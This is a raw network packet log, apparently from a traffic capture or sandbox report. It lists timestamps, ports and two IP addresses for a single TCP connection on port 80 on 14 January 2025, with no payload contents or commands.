Jan 14, 2025 08:39:01.374946117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.374953032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.374999046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.377511978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.377527952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.377567053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.380129099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.409653902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.409668922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.409682989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.409713030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.418524981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.418540001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.418553114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.418572903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.418589115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.453012943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.456944942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.456979036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.456994057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457007885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457026958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457032919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457043886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457048893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457063913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457077980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457087994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457094908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457113028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457119942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457137108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457149029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457160950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457161903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457176924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457185030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457191944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457206964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457222939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.457227945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.457241058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.465250969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.477802038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496267080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496282101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496295929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496310949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496321917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496325016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496334076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496340036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496354103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496375084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496387959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496526957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496542931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496557951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496572971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496581078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496602058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496617079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496639967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496654034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496669054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496678114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496684074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496706009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496722937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496745110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.496857882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496967077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496982098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.496995926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497009039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497016907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497025013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497035027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497039080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497055054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497061968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497103930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497241020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497262001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497277021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497291088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497306108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497307062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497330904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497500896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497515917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497543097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497644901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497661114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497675896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497684956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497692108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497704983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497714996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497720003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497734070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497747898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497747898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497761965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497766018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497776985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497792006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497797012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.497813940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.497832060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498198032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498212099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498228073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498238087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498240948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498255968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498264074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498270035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498285055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498303890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498308897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498320103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498322964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498337984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498351097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498357058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498366117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498380899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498394966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498403072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498409033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498423100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.498429060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.498454094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501233101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501246929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501261950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501276016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501281977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501291037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501302958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501310110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501324892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501332045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501370907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501418114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501432896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501446962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501461029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501466990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501476049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501491070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501501083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501506090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501529932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501770020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501813889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501868963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501892090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501907110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501919985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501926899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501935005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501949072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501959085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.501964092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501979113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.501985073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502001047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502013922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502022982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502053022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502242088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502410889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502424955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502439976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502444029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502454042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502468109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502475023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502481937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502496004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502505064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502511024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502526045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502535105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502540112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502554893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502561092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502571106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502590895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.502902985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502918005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.502945900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.504185915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.516005993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547646999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547669888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547686100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547699928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547709942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547714949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547729015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547744989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547756910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547772884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547777891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547791958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547806978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547821045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547831059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547836065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547841072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547849894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547864914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.547874928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.547900915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.586982012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.586999893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587014914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587028027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587043047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587053061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587058067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587070942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587073088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587095976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587246895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587270021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587295055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587308884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587310076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587333918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587337971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587351084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587373972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587394953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587399960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587409973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587412119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587424040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587438107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587440014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587459087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587472916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587479115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587486982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587502956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587507010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587517977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587536097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587538004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587558031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587570906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587580919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587584019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587599039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587605953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587613106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587626934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587637901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587641954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587656021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587668896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587677002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587683916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587691069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587706089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587719917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587726116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587733984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587749004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587762117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587763071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587788105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587795019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587809086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587824106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587831974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587846994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587861061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587863922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587874889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587889910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587903976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587912083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587918997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587932110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587933064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587946892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587954044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.587960958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587969065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587976933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.587991953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588010073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588032007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588160992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588176012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588188887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588202953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588212967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588217020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588231087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588243008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588247061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588260889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588263035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588274956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588289976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588299036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588304043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588319063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588325024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588334084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588349104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588359118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588393927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588491917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588505983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588520050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588535070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588541985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588548899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588562965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588573933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588577032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588591099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588601112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588606119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588619947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588634014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588639975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588649035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588656902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588664055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588679075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588689089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 08:39:01.588692904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 08:39:01.588711023 CET	49704	80	192.168.2.5	193.143.1.205
